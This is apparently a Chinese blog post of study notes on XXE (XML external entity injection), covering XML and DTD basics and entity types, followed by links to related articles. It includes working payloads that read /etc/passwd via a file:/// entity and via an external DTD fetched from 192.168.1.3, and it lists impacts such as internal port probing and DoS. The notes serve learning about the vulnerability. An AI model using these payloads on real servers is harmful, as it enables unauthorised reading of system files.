2019-11-19:xxe漏洞利用,笔记
xxe,也就是xml,外部实体注入攻击,漏洞是对非安全的外部实体数据进行处理时引发的安全问题,要了解xxe,就必须懂得xml的一些规则
xml是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
xml文档结构:xml声明,DTD文档类型定义,文档元素
html用来显示数据
xml用来传输数据
<!DOCTYPE 变量名 [ 定义的元素 ] >
<!ELEMENT 变量名 (定义元素的名称)>
<?xml version='1.0' encoding='utf-8'?> xml声明
<!DOCTYPE copyright [ DTD 文档类型定义
<!ELEMENT note (to,reset,login)> 定义元素 note为父元素
<!ENTITY test SYSTEM 'url'> 定义外部实体test
]>
<to>
<reset> 下面为文档元素
<login>&test;</login> 调用test实体
<secret>login</secret>
</reset>
<to>
在一个甚至多个xml文档中频繁使用某一条数据,我们可以预先定义一条数据的别名,就是一个ENTITY,然后在这些文档中需要该数据的地方调用它,根据实体的来源我们可以分为内部实体和外部实体,xml定义了两种类型ENTITY,一种在xml文档中使用,另一种作为参数在DTD文件中使用,定义好的ENTITY在文档中通过“&实体名;”来使用
DTD,Documnet Type Definition就是文档类型定义,是一种xml约束模式语言,属于xml文件组成的一部分
DTD有三种应用形式:
1,内部DTD文档
<!DOCTYPE 根元素【定义内容】>
2,外部DTD文档
<!DOCTYPE 根元素 SYSTEM “DTD文件路径”>
3,内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM “DTD文件路径” 【定义内容】>
XXE--->通过调用DTD文档中外部实体来触发漏洞
xml外部实体注入
xml实体分为普通实体和参数实体
实体类型:普通实体,外部实体,参数实体,外部参数实体
普通实体:用在xml文档中,声明方式:<!ENTITY 实体名 “实体内容”>,外部实体<!ENTITY 实体名 SYSTEM “外部文件URL地址”> ,引用方式&实体名;
参数实体:只用在DTD中元素和属性的声明中,声明方式,<!ENTITY %实体名 “文件内容”>,<!ENTITY %实体名 SYSTEM “外部文件URL地址”,引用方式 %实体名;
外部普通实体,读取目标服务中文件
通过file协议,引入外部普通实体,读取目标服务中文件实例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc//passwd">
]>
<test>&xxe;</test>
引入外部参数实体outdtd.dtd文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE reset [
<!ENTITY % a SYSTEM "http://192.168.1.3/out.dtd">
%a;]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
outdtd.dtd
<!ENTITY xxe SYSTEM "file:///etc/passwd">
xml支持的协议
php:file,http,ftp,php,compress.zlib,compress.bzip2,data,glob,phar
.net:file,http,https,ftp
危害
使用file读取敏感文件,比如配置文件,etc/passwd等
内网服务探测,http://127.0.0.1:80 22 3306等,根据返回页面提示不同,确定内网服务
DOS攻击,递归调用,占用大量服务器资源
无回显(盲型xxe)
使用数据带外技术(OOB),比如
2019-11-19:xxe漏洞利用,笔记的更多相关文章
- XXE漏洞学习笔记
XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...
- cisco ssh实验--附带配置脚本-2019.11.19
cisco ssh实验
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- ref:浅谈XXE漏洞攻击与防御
ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20 | 分类于 web安全 | 热度 3189 ℃ 你会挽着我 ...
- 浅入深出了解XXE漏洞
环境搭建 https://github.com/c0ny1/xxe-lab 为了更深入的理解,我准备理论和实际相结合的了解XXE! 浅谈XML 初识XML 一个好的代码基础能帮助你更好理解一类漏洞,所 ...
- 1.浅谈XXE漏洞攻击与防御
XML基础 在介绍XXE漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具. XML是一种用于标记电子文 ...
- XXE漏洞原理及利用
0x01概述 XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞.XXE扩大了攻击面. 当允许引用外部实体时,就可能导致任意文件读取.系统命令执行.内网 ...
- 实战讲解XXE漏洞的利用与防御策略
现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确.当解析器允许XML外部实体解析时,就会 ...
- XXE漏洞——介绍及利用
什么是xxe XML外部实体注入,简称XXE漏洞.XML文档结构包括XML声明,DTD文档类型定义,文档元素. XML示例 <?xml version="1.0"?>X ...
随机推荐
- next day
#_*_coding:utf_*_#!/usr/bin/env python now_day=input('当前某一天:').format('%Y.%m.%d')%%输入日期(年.月.日) year= ...
- JVM学习记录2--垃圾回收算法
首先要明确,垃圾回收管理jvm的堆内存,方法区是堆内存的一部分,所以也是. 而本地方法栈,虚拟机栈,程序计数器随着线程开始而产生,线程的结束而消亡,是不需要垃圾回收的. 1. 判断对象是否可以被回收 ...
- 包管理工具-yum
yum介绍 yum(全称为 Yellow dog Updater, Modified)是一个在 Fedora和 RedHat 以及 CentOS 中的 Shell 前端软件包管理器.基于 RPM 包管 ...
- Rust 中的类型转换
1. as 运算符 as 运算符有点像 C 中的强制类型转换,区别在于,它只能用于原始类型(i32 .i64 .f32 . f64 . u8 . u32 . char 等类型),并且它是安全的. 例 ...
- Asp.Net Core 单元测试正确姿势
背景 ASP.NET Core 支持依赖关系注入 (DI) 软件设计模式,并且默认注入了很多服务,具体可以参考 官方文档, 相信只要使用过依赖注入框架的同学,都会对此有不同深入的理解,在此无需赘言. ...
- 微信小程序的canvas和遮盖布颜色设置问题
canvas绘画出并显示小程序的逻辑首先是将网络图片转化为本地图片,其次再将进行绘画.将本地图片和二维码显示在画布上,最后将整个画布截图用api显示在屏幕上.真正的画图让他飞去屏幕外. 有时候会需要用 ...
- 转:nginx和php-fpm的两种通信方式
原文地址:https://segmentfault.com/q/1010000004854045 Nginx和PHP-FPM的进程间通信有两种方式,一种是TCP,一种是UNIX Domain Sock ...
- 程序员接私活经验总结,来自csdn论坛语录
以下为网上摘录,以做笔记: 可是到网上看看,似乎接私活也有很多不容易,技术问题本身是个因素,还有很多有技术的人接私活时被骗,或者是合作到最后以失败告终,所以想请有经验的大侠们出来指点一下,接私活是怎么 ...
- QHDYZ模拟赛20191012
今天信息处老师(并不是教练,基本等于机房看门大爷) (好吧老师其实很犇,软件什么的厉害的一批,只是不能带oi--) 跟我说:"xxj,过两天月考完了,可以在初赛前再整一次模拟赛,一天,三道题 ...
- 死磕 java线程系列之ForkJoinPool深入解析
(手机横屏看源码更方便) 注:java源码分析部分如无特殊说明均基于 java8 版本. 注:本文基于ForkJoinPool分治线程池类. 简介 随着在硬件上多核处理器的发展和广泛使用,并发编程成为 ...